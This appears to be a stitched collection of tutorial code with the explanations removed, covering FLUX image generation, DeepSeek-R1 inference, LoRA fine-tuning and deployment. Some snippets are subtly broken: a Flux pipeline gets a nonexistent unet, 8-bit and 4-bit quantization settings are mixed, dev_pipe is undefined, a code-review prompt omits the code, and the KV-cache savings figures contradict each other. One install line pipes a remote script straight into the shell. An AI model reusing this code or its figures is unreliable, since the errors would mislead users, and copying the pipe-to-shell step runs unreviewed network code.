    "XLabs-AI/flux-controlnet-canny",
    torch_dtype=torch.bfloat16
)

# Use canny edge detection
control_image = generate_canny(input_image)
output = pipe(prompt, control_image=control_image).images[0]

from diffusers import FluxPipeline

pipe = FluxPipeline.from_pretrained(
    "black-forest-labs/FLUX.1-dev",
    torch_dtype=torch.bfloat16
)

# Load LoRA (when available)
pipe.load_lora_weights("path/to/flux-lora.safetensors")

# Generate with LoRA style
prompt = "a portrait in the custom style"
image = pipe(prompt).images[0]

# Generate multiple variations
prompts = [
    "a red car",
    "a blue car",
    "a green car",
    "a yellow car"
]

images = []
for prompt in prompts:
    image = pipe(prompt, num_inference_steps=30).images[0]
    images.append(image)

# Or use batch processing if memory allows

from diffusers import FluxPipeline
import torch

pipe = FluxPipeline.from_pretrained(
    "black-forest-labs/FLUX.1-schnell",
    torch_dtype=torch.bfloat16
)

# Enable CPU offloading
pipe.enable_model_cpu_offload()

# Enable VAE optimizations
pipe.vae.enable_slicing()
pipe.vae.enable_tiling()

# For extreme memory savings
pipe.enable_sequential_cpu_offload()

# Use Schnell for speed
pipe_schnell = FluxPipeline.from_pretrained(
    "black-forest-labs/FLUX.1-schnell",
    torch_dtype=torch.bfloat16
)

# Compile for faster inference (PyTorch 2.0+)
pipe.unet = torch.compile(pipe.unet, mode="reduce-overhead")

# Use fewer steps
image = pipe_schnell(prompt, num_inference_steps=4).images[0]

# 8-bit quantization
from transformers import BitsAndBytesConfig

quantization_config = BitsAndBytesConfig(
    load_in_8bit=True,
    bnb_4bit_compute_dtype=torch.bfloat16
)

pipe = FluxPipeline.from_pretrained(
    "black-forest-labs/FLUX.1-dev",
    quantization_config=quantization_config,
    torch_dtype=torch.bfloat16
)

# Distribute across GPUs
from accelerate import PartialState

pipe = FluxPipeline.from_pretrained(
    "black-forest-labs/FLUX.1-dev",
    torch_dtype=torch.bfloat16
)

distributed_state = PartialState()
pipe.to(distributed_state.device)

import requests
import base64
from io import BytesIO
from PIL import Image

API_URL = "https://api.bfl.ml/v1/flux-pro"
API_KEY = "your-api-key"

def generate_flux_pro(
    prompt,
    width=1024,
    height=1024,
    steps=30,
    guidance=3.5
):
    headers = {
        "Authorization": f"Bearer {API_KEY}",
        "Content-Type": "application/json"
    }

    payload = {
        "prompt": prompt,
        "width": width,
        "height": height,
        "steps": steps,
        "guidance": guidance
    }

    response = requests.post(API_URL, json=payload, headers=headers)

    if response.status_code == 200:
        image_data = response.json()["image"]
        image = Image.open(BytesIO(base64.b64decode(image_data)))
        return image
    else:
        raise Exception(f"API Error: {response.text}")

# Generate
image = generate_flux_pro(
    "a beautiful sunset over mountains",
    width=1344,
    height=768
)
image.save("pro_output.png")

import asyncio
import aiohttp

async def generate_async(prompt):
    async with aiohttp.ClientSession() as session:
        headers = {"Authorization": f"Bearer {API_KEY}"}
        payload = {"prompt": prompt}

        async with session.post(API_URL, json=payload, headers=headers) as resp:
            return await resp.json()

# Use
image_data = asyncio.run(generate_async("a futuristic city"))

# Good prompts for Flux
good_prompts = [
    "a cinematic photograph of [subject], [details], [lighting], [camera]",
    "an oil painting of [scene], [style], by [artist]",
    "product photography of [item], [background], professional lighting",
    "character design of [character], [details], concept art"
]

# Start with Schnell for quick iterations
quick_pipe = FluxPipeline.from_pretrained(
    "black-forest-labs/FLUX.1-schnell",
    torch_dtype=torch.bfloat16
)

# Iterate quickly
for variation in range(5):
    gen = torch.Generator("cuda").manual_seed(variation)
    preview = quick_pipe(
        prompt,
        num_inference_steps=4,
        generator=gen
    ).images[0]
    preview.save(f"preview_{variation}.png")

# Refine winner with Dev
final = dev_pipe(
    final_prompt,
    num_inference_steps=30,
    generator=torch.Generator("cuda").manual_seed(winning_seed)
).images[0]

# Monitor VRAM
import torch

print(f"Allocated: {torch.cuda.memory_allocated() / 1e9:.2f} GB")
print(f"Reserved: {torch.cuda.memory_reserved() / 1e9:.2f} GB")

# Clear cache between generations
torch.cuda.empty_cache()

templates = {
    "portrait": "{subject}, {expression}, {clothing}, {background}, portrait photography, {lighting}",
    "landscape": "{location}, {time_of_day}, {weather}, {style}, landscape photography",
    "product": "product photography of {product}, {surface}, {lighting}, professional, commercial",
    "artistic": "{style} of {subject}, {details}, by {artist}, masterpiece"
}

# Use
prompt = templates["portrait"].format(
    subject="a young woman",
    expression="slight smile",
    clothing="elegant dress",
    background="bokeh lights",
    lighting="soft natural light"
)

# Example with Hugging Face
from transformers import AutoModelForCausalLM, AutoTokenizer, Trainer

# 1. Load pre-trained model
model = AutoModelForCausalLM.from_pretrained("gpt2")
tokenizer = AutoTokenizer.from_pretrained("gpt2")

# 2. Prepare dataset
train_dataset = load_dataset("your_dataset")

# 3. Configure training
training_args = TrainingArguments(
    output_dir="./results",
    num_train_epochs=3,
    per_device_train_batch_size=4,
    learning_rate=2e-5,
)

# 4. Train
trainer = Trainer(
    model=model,
    args=training_args,
    train_dataset=train_dataset,
)

trainer.train()

from peft import LoraConfig, get_peft_model

# Configure LoRA
config = LoraConfig(
    r=8,                    # Rank
    lora_alpha=32,
    target_modules=["q_proj", "v_proj"],
    lora_dropout=0.1,
)

# Apply LoRA to model
model = get_peft_model(model, config)
model.print_trainable_parameters()
# trainable params: 0.1% (vs 100% for full fine-tuning)

{"prompt": "Translate to French: Hello", "completion": "Bonjour"}
{"prompt": "Translate to French: Goodbye", "completion": "Au revoir"}
{"prompt": "Translate to French: Thank you", "completion": "Merci"}

from sklearn.metrics import accuracy_score

predictions = model.generate(test_inputs)
accuracy = accuracy_score(test_labels, predictions)
print(f"Accuracy: {accuracy}")

# Note: Direct Transformers support not yet available
# Use vLLM or refer to DeepSeek-V3 repo

# Same infrastructure as DeepSeek R1
# Demonstrates RL-only training effectiveness

# Ollama
ollama pull deepseek-r1:1.5b
ollama run deepseek-r1:1.5b

# vLLM
vllm serve deepseek-ai/DeepSeek-R1-Distill-Qwen-1.5B

ollama pull deepseek-r1:7b
ollama run deepseek-r1:7b

ollama pull deepseek-r1:14b
ollama run deepseek-r1:14b

# vLLM with tensor parallelism
vllm serve deepseek-ai/DeepSeek-R1-Distill-Qwen-32B \
    --tensor-parallel-size 2 \
    --max-model-len 32768 \
    --enforce-eager

# SGLang
python3 -m sglang.launch_server \
    --model deepseek-ai/DeepSeek-R1-Distill-Qwen-32B \
    --trust-remote-code \
    --tp 2

ollama pull deepseek-r1:8b
ollama run deepseek-r1:8b

# Hugging Face
from transformers import AutoTokenizer, AutoModelForCausalLM
model_name = "deepseek-ai/DeepSeek-R1-Distill-Llama-8B"

ollama pull deepseek-r1:70b
ollama run deepseek-r1:70b

Total Parameters: 671B
Activated per Forward Pass: 37B (~5.5%)

┌─────────────────────────────────────┐
│         Input Embedding             │
└──────────────┬──────────────────────┘
               │
        ┌──────▼──────┐
        │   Router    │
        └──────┬──────┘
               │
    ┌──────────┼──────────┐
    ▼          ▼          ▼
┌───────┐  ┌───────┐  ┌───────┐
│Expert1│  │Expert2│  │Expert3│ ... (multiple experts)
└───┬───┘  └───┬───┘  └───┬───┘
    └──────────┼──────────┘
               ▼
        ┌─────────────┐
        │   Output    │
        └─────────────┘

# Traditional Attention KV-cache
traditional_kv_cache = num_heads * head_dim * sequence_length * 2 * bytes_per_param
# Example: 32 * 128 * 4096 * 2 * 2 = 64 MB per layer

# MLA Latent KV-cache (5-13% reduction)
mla_latent_cache = latent_dim * sequence_length * 2 * bytes_per_param
# Example: 512 * 4096 * 2 * 2 = 8 MB per layer (~87% reduction)

Layer Pattern:
┌─────────────────────────┐
│  Input from prev layer  │
└────────────┬────────────┘
             │
        ┌────▼────┐
        │ RoPE    │  (Rotary Position Embeddings)
        └────┬────┘
             │
        ┌────▼────┐
        │   MLA   │  (Multi-head Latent Attention)
        └────┬────┘
             │
        ┌────▼────┐
        │ RMSNorm │
        └────┬────┘
             │
        ┌────▼────┐
        │ MoE FFN │  (Mixture of Experts Feed Forward)
        └────┬────┘
             │
        ┌────▼────┐
        │ RMSNorm │
        └────┬────┘
             │
    ┌────────▼────────┐
    │ Output to next  │
    │     layer       │
    └─────────────────┘

Phase 1: Supervised Fine-Tuning (SFT)
├── Curated long chain-of-thought examples
├── 800K high-quality reasoning samples
└── Initial reasoning pattern formation

Phase 2: Reinforcement Learning (RL)
├── Policy gradient optimization
├── Self-verification rewards
├── Error correction incentivization
└── Emergent behaviors:
    ├── Chain-of-thought reasoning
    ├── Self-reflection
    ├── Verification steps
    └── Logical decomposition

# Install Ollama
curl -fsSL https://ollama.com/install.sh | sh

# Pull and run distilled models
ollama pull deepseek-r1:1.5b   # Smallest
ollama pull deepseek-r1:7b     # Balanced
ollama pull deepseek-r1:8b     # Llama-based
ollama pull deepseek-r1:14b    # Mid-range
ollama pull deepseek-r1:32b    # High-quality
ollama pull deepseek-r1:70b    # Best distilled

# Interactive chat
ollama run deepseek-r1:7b

import ollama

# Simple generation
response = ollama.generate(
    model='deepseek-r1:7b',
    prompt='Solve: If x^2 + 5x + 6 = 0, find x.',
)
print(response['response'])

# Chat interface
messages = [
    {
        'role': 'user',
        'content': 'Explain the time complexity of quicksort'
    }
]

response = ollama.chat(
    model='deepseek-r1:7b',
    messages=messages
)
print(response['message']['content'])

# Install vLLM
pip install vllm

# Serve distilled models
vllm serve deepseek-ai/DeepSeek-R1-Distill-Qwen-7B

# For larger models with tensor parallelism
vllm serve deepseek-ai/DeepSeek-R1-Distill-Qwen-32B \
    --tensor-parallel-size 2 \
    --max-model-len 32768 \
    --enforce-eager

from vllm import LLM, SamplingParams

# Load model
llm = LLM(
    model="deepseek-ai/DeepSeek-R1-Distill-Qwen-7B",
    tensor_parallel_size=1
)

# Configure sampling
sampling_params = SamplingParams(
    temperature=0.6,  # Recommended: 0.5-0.7
    top_p=0.95,
    max_tokens=2048
)

# Generate
prompts = [
    "Write a Python function to find prime numbers up to n",
    "Explain the concept of gradient descent"
]

outputs = llm.generate(prompts, sampling_params)

for output in outputs:
    print(f"Prompt: {output.prompt}")
    print(f"Response: {output.outputs[0].text}\n")

# Install
pip install "sglang[all]"

# Serve model
python3 -m sglang.launch_server \
    --model deepseek-ai/DeepSeek-R1-Distill-Qwen-14B \
    --trust-remote-code \
    --tp 1

import sglang as sgl

@sgl.function
def reasoning_task(s, question):
    s += sgl.user(question)
    s += sgl.assistant(sgl.gen("answer", max_tokens=1024, temperature=0.6))

# Run
state = reasoning_task.run(
    question="What is the derivative of x^3 + 2x^2 + 5?",
    model="deepseek-ai/DeepSeek-R1-Distill-Qwen-14B"
)

print(state["answer"])

pip install transformers torch accelerate

from transformers import AutoTokenizer, AutoModelForCausalLM
import torch

# Load distilled model
model_name = "deepseek-ai/DeepSeek-R1-Distill-Llama-8B"

tokenizer = AutoTokenizer.from_pretrained(model_name)
model = AutoModelForCausalLM.from_pretrained(
    model_name,
    torch_dtype=torch.bfloat16,
    device_map="auto",
    trust_remote_code=True
)

# Generate
prompt = "Calculate the factorial of 10 step by step"
inputs = tokenizer(prompt, return_tensors="pt").to(model.device)

outputs = model.generate(
    **inputs,
    max_new_tokens=1024,
    temperature=0.6,
    top_p=0.95,
    do_sample=True
)

result = tokenizer.decode(outputs[0], skip_special_tokens=True)
print(result)

from openai import OpenAI

client = OpenAI(
    api_key="your-together-api-key",
    base_url="https://api.together.xyz/v1"
)

response = client.chat.completions.create(
    model="deepseek-ai/DeepSeek-R1",
    messages=[
        {"role": "user", "content": "Solve: 2x + 5 = 15"}
    ],
    temperature=0.6,
    max_tokens=2048
)

print(response.choices[0].message.content)

import fireworks.client

fireworks.client.api_key = "your-fireworks-api-key"

response = fireworks.client.ChatCompletion.create(
    model="accounts/fireworks/models/deepseek-r1",
    messages=[{
        "role": "user",
        "content": "Explain binary search algorithm"
    }],
    temperature=0.6
)

print(response.choices[0].message.content)

from transformers import AutoTokenizer, AutoModelForCausalLM
import torch

model_name = "deepseek-ai/DeepSeek-R1-Distill-Qwen-7B"
tokenizer = AutoTokenizer.from_pretrained(model_name)
model = AutoModelForCausalLM.from_pretrained(
    model_name,
    torch_dtype=torch.bfloat16,
    device_map="auto"
)

# Direct generation
prompt = "What is the square root of 144?"
inputs = tokenizer(prompt, return_tensors="pt").to(model.device)

outputs = model.generate(
    **inputs,
    max_new_tokens=512,
    temperature=0.6,  # CRITICAL: 0.5-0.7 range
    top_p=0.95,
    do_sample=True
)

print(tokenizer.decode(outputs[0], skip_special_tokens=True))

# ❌ AVOID: System prompts reduce effectiveness
messages_bad = [
    {"role": "system", "content": "You are a helpful assistant."},
    {"role": "user", "content": "Solve this problem..."}
]

# ✅ RECOMMENDED: All instructions in user message
messages_good = [
    {"role": "user", "content": "Solve this problem step by step: ..."}
]

# Apply chat template
input_ids = tokenizer.apply_chat_template(
    messages_good,
    add_generation_prompt=True,
    return_tensors="pt"
).to(model.device)

# Generate
outputs = model.generate(
    input_ids,
    max_new_tokens=1024,
    temperature=0.6,
    top_p=0.95,
    pad_token_id=tokenizer.eos_token_id
)

response = tokenizer.decode(
    outputs[0][input_ids.shape[-1]:],
    skip_special_tokens=True
)
print(response)

# Force model to show reasoning
prompt = """Solve the following problem. Begin your response with <think> to show your reasoning process.

Problem: A train travels 120 km in 2 hours. If it maintains the same speed, how far will it travel in 5 hours?"""

inputs = tokenizer(prompt, return_tensors="pt").to(model.device)

outputs = model.generate(
    **inputs,
    max_new_tokens=2048,
    temperature=0.6,
    top_p=0.95
)

result = tokenizer.decode(outputs[0], skip_special_tokens=True)
print(result)

# Output will include:
# <think>
# The train travels 120 km in 2 hours
# Speed = distance / time = 120 / 2 = 60 km/h
# For 5 hours: distance = speed × time = 60 × 5 = 300 km
# </think>
# The train will travel 300 km in 5 hours.

conversation = []

def chat(user_message):
    # Add user message
    conversation.append({"role": "user", "content": user_message})

    # Generate response
    input_ids = tokenizer.apply_chat_template(
        conversation,
        add_generation_prompt=True,
        return_tensors="pt"
    ).to(model.device)

    outputs = model.generate(
        input_ids,
        max_new_tokens=1024,
        temperature=0.6,
        top_p=0.95,
        pad_token_id=tokenizer.eos_token_id
    )

    response = tokenizer.decode(
        outputs[0][input_ids.shape[-1]:],
        skip_special_tokens=True
    )

    # Add to conversation
    conversation.append({"role": "assistant", "content": response})

    return response

# Use
print(chat("What is 15 factorial?"))
print(chat("Now divide that by 120"))
print(chat("Express the result in scientific notation"))

prompts = [
    "What is the time complexity of merge sort?",
    "Explain the difference between TCP and UDP",
    "Calculate: (3x + 5)(2x - 1)"
]

# Tokenize with padding
inputs = tokenizer(
    prompts,
    return_tensors="pt",
    padding=True,
    truncation=True,
    max_length=512
).to(model.device)

# Generate
outputs = model.generate(
    **inputs,
    max_new_tokens=512,
    temperature=0.6,
    top_p=0.95,
    pad_token_id=tokenizer.pad_token_id
)

# Decode
results = tokenizer.batch_decode(outputs, skip_special_tokens=True)
for prompt, result in zip(prompts, results):
    print(f"Q: {prompt}")
    print(f"A: {result}\n")

# ❌ AVOID
prompt = """
Q: What is 2+2?
A: 4

Q: What is 3+3?
A: 6

Q: What is 5+5?
A: """

# ❌ AVOID
prompt = "Let's think step by step. First, ... Second, ... Third, ..."

# ❌ AVOID
messages = [
    {"role": "system", "content": "You are an expert mathematician..."},
    {"role": "user", "content": "Solve..."}
]

# ❌ AVOID
prompt = "Given the following extensive background information... [5 paragraphs]... now solve..."

# ✅ GOOD
prompt = "Solve: If f(x) = 3x^2 + 2x - 5, find f(4)"

# ✅ GOOD
prompt = "Compare the advantages and disadvantages of SQL vs NoSQL databases"

# ✅ GOOD
prompt = """Analyze these three options:
A. Cloud deployment
B. On-premise servers
C. Hybrid approach

Evaluate cost, scalability, and security for each."""

# ✅ GOOD
prompt = "List the prime numbers between 1 and 50. Format as a Python list."

# Recommended configuration
generation_config = {
    "temperature": 0.6,      # Range: 0.5-0.7 (prevents loops)
    "top_p": 0.95,          # Recommended value
    "max_new_tokens": 2048,  # Adjust based on task
    "do_sample": True,
    "repetition_penalty": 1.0  # Usually not needed
}

outputs = model.generate(**inputs, **generation_config)

# Standard reasoning (verbose)
prompt = "Solve this complex calculus problem: ..."
# Output: 2000+ tokens with full reasoning

# Chain-of-Draft (efficient)
prompt = """Solve this complex calculus problem: ...

Think step by step, but only keep a minimum draft for each thinking step."""

# Output: ~400 tokens with condensed reasoning, same accuracy

template = """Solve the following problem:

Problem: {problem}

Show your work and provide the final answer."""

prompt = template.format(
    problem="Find the derivative of f(x) = x^3 * sin(x)"
)

template = """Write a {language} function that {description}.

Requirements:
- {requirement1}
- {requirement2}
- Include error handling"""

prompt = template.format(
    language="Python",
    description="implements a binary search tree",
    requirement1="Support insert, search, and delete operations",
    requirement2="Maintain BST properties"
)

template = """Analyze the following scenario:

{scenario}

Provide:
1. Key insights
2. Potential risks
3. Recommended actions"""

prompt = template.format(
    scenario="A startup wants to migrate from monolith to microservices"
)

template = """Compare {option_a} vs {option_b}:

Evaluate:
- Performance
- Scalability
- Cost
- Ease of use

Provide a recommendation."""

prompt = template.format(
    option_a="PostgreSQL",
    option_b="MongoDB"
)

prompt = """Solve: x^2 - 7x + 12 = 0

After solving, verify your answer by substituting back into the original equation."""

prompt = """Problem: A rectangle has a perimeter of 30 cm and an area of 50 cm².

Find:
1. The length
2. The width
3. The diagonal length"""

prompt = """Generate a regex pattern that matches:
- Valid email addresses
- Must include @ symbol
- Domain must end in .com, .org, or .net
- No special characters except . and _

Provide the pattern and explain each component."""

pip install transformers peft accelerate datasets torch

from transformers import (
    AutoTokenizer,
    AutoModelForCausalLM,
    TrainingArguments,
    Trainer
)
from peft import LoraConfig, get_peft_model, prepare_model_for_kbit_training
from datasets import load_dataset
import torch

# Load base model
model_name = "deepseek-ai/DeepSeek-R1-Distill-Qwen-7B"

model = AutoModelForCausalLM.from_pretrained(
    model_name,
    torch_dtype=torch.bfloat16,
    device_map="auto",
    trust_remote_code=True
)

tokenizer = AutoTokenizer.from_pretrained(model_name)
tokenizer.pad_token = tokenizer.eos_token

# Prepare for training
model.gradient_checkpointing_enable()
model = prepare_model_for_kbit_training(model)

# LoRA configuration
lora_config = LoraConfig(
    r=16,                    # Rank (8, 16, 32)
    lora_alpha=32,          # Scaling factor (2*r typical)
    target_modules=[        # Target attention layers
        "q_proj",
        "k_proj",
        "v_proj",
        "o_proj"
    ],
    lora_dropout=0.05,
    bias="none",
    task_type="CAUSAL_LM"
)

model = get_peft_model(model, lora_config)
model.print_trainable_parameters()
# trainable params: ~8M / 7B (~0.1%)

# Prepare dataset
dataset = load_dataset("your-dataset")

def format_prompt(example):
    # Format for reasoning tasks
    return {
        "text": f"Problem: {example['problem']}\n\nSolution: {example['solution']}"
    }

dataset = dataset.map(format_prompt)

# Tokenize
def tokenize(examples):
    return tokenizer(
        examples["text"],
        truncation=True,
        max_length=2048,
        padding="max_length"
    )

tokenized_dataset = dataset.map(tokenize, batched=True)

# Training arguments
training_args = TrainingArguments(
    output_dir="./deepseek-r1-lora",
    num_train_epochs=3,
    per_device_train_batch_size=4,
    gradient_accumulation_steps=4,
    learning_rate=2e-4,
    bf16=True,
    logging_steps=10,
    save_strategy="epoch",
    warmup_steps=100,
    optim="adamw_torch"
)

# Trainer
trainer = Trainer(
    model=model,
    args=training_args,
    train_dataset=tokenized_dataset["train"],
    eval_dataset=tokenized_dataset["test"] if "test" in tokenized_dataset else None
)

# Train
trainer.train()

# Save
model.save_pretrained("./deepseek-r1-lora-final")
tokenizer.save_pretrained("./deepseek-r1-lora-final")

pip install bitsandbytes

from transformers import BitsAndBytesConfig

# 4-bit quantization config
bnb_config = BitsAndBytesConfig(
    load_in_4bit=True,
    bnb_4bit_quant_type="nf4",
    bnb_4bit_compute_dtype=torch.bfloat16,
    bnb_4bit_use_double_quant=True
)

# Load model with quantization
model = AutoModelForCausalLM.from_pretrained(
    "deepseek-ai/DeepSeek-R1-Distill-Qwen-14B",
    quantization_config=bnb_config,
    device_map="auto",
    trust_remote_code=True
)

# Prepare for k-bit training
model = prepare_model_for_kbit_training(model)

# LoRA config (same as above)
lora_config = LoraConfig(...)
model = get_peft_model(model, lora_config)

# Training args with 8-bit optimizer
training_args = TrainingArguments(
    output_dir="./deepseek-r1-qlora",
    optim="paged_adamw_8bit",  # 8-bit optimizer
    fp16=True,  # or bf16
    # ... rest of args
)

# Train
trainer = Trainer(model=model, args=training_args, ...)
trainer.train()

from peft import PeftModel

# Load base model
base_model = AutoModelForCausalLM.from_pretrained(
    "deepseek-ai/DeepSeek-R1-Distill-Qwen-7B",
    torch_dtype=torch.bfloat16,
    device_map="auto"
)

# Load LoRA weights
model = PeftModel.from_pretrained(
    base_model,
    "./deepseek-r1-lora-final"
)

# Merge for faster inference (optional)
model = model.merge_and_unload()

# Use normally
tokenizer = AutoTokenizer.from_pretrained("./deepseek-r1-lora-final")
inputs = tokenizer("Your prompt", return_tensors="pt").to(model.device)
outputs = model.generate(**inputs, max_new_tokens=512, temperature=0.6)
print(tokenizer.decode(outputs[0], skip_special_tokens=True))

# Format data for reasoning tasks
dataset_dict = {
    "train": [
        {
            "problem": "Find the area of a circle with radius 5",
            "solution": "Area = πr² = π(5)² = 25π ≈ 78.54 square units"
        },
        {
            "problem": "What is 15! / 13!?",
            "solution": "15! / 13! = 15 × 14 × 13! / 13! = 15 × 14 = 210"
        },
        # ... more examples
    ]
}

from datasets import Dataset
dataset = Dataset.from_dict(dataset_dict)

# Or load from files
# JSON Lines format:
# {"problem": "...", "solution": "..."}
# {"problem": "...", "solution": "..."}

dataset = load_dataset("json", data_files="train.jsonl")

# Small models (1.5B-7B)
small_model_config = {
    "lora_r": 8,
    "lora_alpha": 16,
    "learning_rate": 3e-4,
    "batch_size": 8,
    "gradient_accumulation": 2
}

# Medium models (8B-14B)
medium_model_config = {
    "lora_r": 16,
    "lora_alpha": 32,
    "learning_rate": 2e-4,
    "batch_size": 4,
    "gradient_accumulation": 4
}

# Large models (32B-70B)
large_model_config = {
    "lora_r": 32,
    "lora_alpha": 64,
    "learning_rate": 1e-4,
    "batch_size": 2,
    "gradient_accumulation": 8
}

git clone https://github.com/OpenAccess-AI-Collective/axolotl
cd axolotl
pip install -e .

base_model: deepseek-ai/DeepSeek-R1-Distill-Qwen-7B
model_type: AutoModelForCausalLM
tokenizer_type: AutoTokenizer
trust_remote_code: true

load_in_4bit: true
adapter: qlora
lora_r: 16
lora_alpha: 32
lora_dropout: 0.05
lora_target_modules:
  - q_proj
  - k_proj
  - v_proj
  - o_proj

datasets:
  - path: your-dataset.jsonl
    type: alpaca

num_epochs: 3
micro_batch_size: 4
gradient_accumulation_steps: 4
learning_rate: 0.0002

warmup_steps: 100
optimizer: paged_adamw_8bit
lr_scheduler: cosine

output_dir: ./deepseek-r1-tuned

bf16: true
tf32: true
gradient_checkpointing: true

accelerate launch -m axolotl.cli.train deepseek_r1_config.yml

from fastapi import FastAPI, HTTPException
from pydantic import BaseModel
from transformers import AutoTokenizer, AutoModelForCausalLM
import torch
import uvicorn

app = FastAPI()

# Load model at startup
model_name = "deepseek-ai/DeepSeek-R1-Distill-Qwen-7B"
tokenizer = AutoTokenizer.from_pretrained(model_name)
model = AutoModelForCausalLM.from_pretrained(
    model_name,
    torch_dtype=torch.bfloat16,
    device_map="auto"
)

class GenerateRequest(BaseModel):
    prompt: str
    max_tokens: int = 1024
    temperature: float = 0.6
    top_p: float = 0.95

class GenerateResponse(BaseModel):
    response: str
    tokens_used: int

@app.post("/generate", response_model=GenerateResponse)
async def generate(request: GenerateRequest):
    try:
        inputs = tokenizer(request.prompt, return_tensors="pt").to(model.device)

        outputs = model.generate(
            **inputs,
            max_new_tokens=request.max_tokens,
            temperature=request.temperature,
            top_p=request.top_p,
            do_sample=True
        )

        result = tokenizer.decode(outputs[0], skip_special_tokens=True)
        tokens_used = len(outputs[0])

        return GenerateResponse(
            response=result,
            tokens_used=tokens_used
        )
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))

@app.get("/health")
async def health():
    return {"status": "healthy"}

if __name__ == "__main__":
    uvicorn.run(app, host="0.0.0.0", port=8000)

# Run server
python server.py

# Test
curl -X POST http://localhost:8000/generate \
  -H "Content-Type: application/json" \
  -d '{
    "prompt": "What is recursion?",
    "max_tokens": 512,
    "temperature": 0.6
  }'

# Start server
vllm serve deepseek-ai/DeepSeek-R1-Distill-Qwen-14B \
    --host 0.0.0.0 \
    --port 8000 \
    --tensor-parallel-size 2 \
    --max-model-len 8192

# With GPU specification
CUDA_VISIBLE_DEVICES=0,1 vllm serve deepseek-ai/DeepSeek-R1-Distill-Qwen-32B \
    --tensor-parallel-size 2

from openai import OpenAI

# vLLM provides OpenAI-compatible API
client = OpenAI(
    base_url="http://localhost:8000/v1",
    api_key="dummy"  # vLLM doesn't require auth by default
)

response = client.chat.completions.create(
    model="deepseek-ai/DeepSeek-R1-Distill-Qwen-14B",
    messages=[
        {"role": "user", "content": "Explain binary trees"}
    ],
    temperature=0.6,
    max_tokens=1024
)

print(response.choices[0].message.content)

FROM nvidia/cuda:12.1.0-runtime-ubuntu22.04

# Install Python
RUN apt-get update && apt-get install -y python3 python3-pip

# Install dependencies
RUN pip3 install vllm transformers torch

# Download model (or mount as volume)
RUN python3 -c "from transformers import AutoModel; \
    AutoModel.from_pretrained('deepseek-ai/DeepSeek-R1-Distill-Qwen-7B')"

# Expose port
EXPOSE 8000

# Run server
CMD ["vllm", "serve", "deepseek-ai/DeepSeek-R1-Distill-Qwen-7B", \
     "--host", "0.0.0.0", "--port", "8000"]

docker build -t deepseek-r1-server .
docker run --gpus all -p 8000:8000 deepseek-r1-server

apiVersion: apps/v1
kind: Deployment
metadata:
  name: deepseek-r1
spec:
  replicas: 2
  selector:
    matchLabels:
      app: deepseek-r1
  template:
    metadata:
      labels:
        app: deepseek-r1
    spec:
      containers:
      - name: deepseek-r1
        image: deepseek-r1-server:latest
        ports:
        - containerPort: 8000
        resources:
          limits:
            nvidia.com/gpu: 1
            memory: "32Gi"
          requests:
            nvidia.com/gpu: 1
            memory: "16Gi"
        env:
        - name: CUDA_VISIBLE_DEVICES
          value: "0"
---
apiVersion: v1
kind: Service
metadata:
  name: deepseek-r1-service
spec:
  selector:
    app: deepseek-r1
  ports:
  - protocol: TCP
    port: 80
    targetPort: 8000
  type: LoadBalancer

import sagemaker
from sagemaker.huggingface import HuggingFaceModel

# HuggingFace model configuration
huggingface_model = HuggingFaceModel(
    model_data="s3://your-bucket/model.tar.gz",  # Or use hub
    transformers_version='4.37',
    pytorch_version='2.1',
    py_version='py310',
    role=sagemaker.get_execution_role(),
    env={
        'HF_MODEL_ID': 'deepseek-ai/DeepSeek-R1-Distill-Qwen-14B',
        'HF_TASK': 'text-generation'
    }
)

# Deploy
predictor = huggingface_model.deploy(
    initial_instance_count=1,
    instance_type='ml.g5.2xlarge'
)

# Use
response = predictor.predict({
    'inputs': 'What is machine learning?',
    'parameters': {
        'max_new_tokens': 512,
        'temperature': 0.6
    }
})

print(response[0]['generated_text'])

pip install langchain langchain-community

from langchain_community.llms import HuggingFacePipeline
from langchain.prompts import PromptTemplate
from langchain.chains import LLMChain
from transformers import AutoTokenizer, AutoModelForCausalLM, pipeline
import torch

# Load model
model = AutoModelForCausalLM.from_pretrained(
    "deepseek-ai/DeepSeek-R1-Distill-Qwen-7B",
    torch_dtype=torch.bfloat16,
    device_map="auto"
)
tokenizer = AutoTokenizer.from_pretrained("deepseek-ai/DeepSeek-R1-Distill-Qwen-7B")

# Create pipeline
pipe = pipeline(
    "text-generation",
    model=model,
    tokenizer=tokenizer,
    max_new_tokens=1024,
    temperature=0.6,
    top_p=0.95
)

# LangChain LLM
llm = HuggingFacePipeline(pipeline=pipe)

# Create chain
template = """Problem: {problem}

Solve this step by step."""

prompt = PromptTemplate(template=template, input_variables=["problem"])
chain = LLMChain(llm=llm, prompt=prompt)

# Use
result = chain.run("Find the roots of x^2 - 5x + 6 = 0")
print(result)

def solve_math_problem(problem: str) -> str:
    """Solve mathematical problems with reasoning"""
    prompt = f"""Solve the following mathematical problem. Show your reasoning.

Problem: {problem}

Begin with <think> to show your work."""

    inputs = tokenizer(prompt, return_tensors="pt").to(model.device)
    outputs = model.generate(
        **inputs,
        max_new_tokens=2048,
        temperature=0.6,
        top_p=0.95
    )

    return tokenizer.decode(outputs[0], skip_special_tokens=True)

# Examples
print(solve_math_problem("What is the derivative of x^3 + 2x^2 - 5x + 3?"))
print(solve_math_problem("Solve the system: 2x + y = 7, x - y = 2"))
print(solve_math_problem("Find the area under y=x^2 from x=0 to x=3"))

def generate_code(description: str, language: str = "Python") -> str:
    """Generate code with explanation"""
    prompt = f"""Write a {language} function that {description}.

Requirements:
- Include docstring
- Add error handling
- Use type hints (if applicable)
- Provide usage example"""

    inputs = tokenizer(prompt, return_tensors="pt").to(model.device)
    outputs = model.generate(
        **inputs,
        max_new_tokens=1024,
        temperature=0.6
    )

    return tokenizer.decode(outputs[0], skip_special_tokens=True)

# Example
code = generate_code(
    "implements a binary search algorithm on a sorted list",
    "Python"
)
print(code)

def review_code(code: str) -> str:
    """Review code for issues and improvements"""
    prompt = f"""Review the following code. Identify:
1. Potential bugs
2. Performance issues
3. Security concerns
4. Suggested improvements

Code:

Provide detailed analysis."""

    inputs = tokenizer(prompt, return_tensors="pt").to(model.device)
    outputs = model.generate(**inputs, max_new_tokens=2048, temperature=0.6)

    return tokenizer.decode(outputs[0], skip_special_tokens=True)

# Example
buggy_code = """
def divide(a, b):
    return a / b

result = divide(10, 0)
"""

print(review_code(buggy_code))

def logical_reasoning(premise: str, question: str) -> str:
    """Perform logical reasoning on given premises"""
    prompt = f"""Given the following information:

{premise}

Question: {question}

Think through this logically and provide a reasoned answer."""

    inputs = tokenizer(prompt, return_tensors="pt").to(model.device)
    outputs = model.generate(**inputs, max_new_tokens=1536, temperature=0.6)

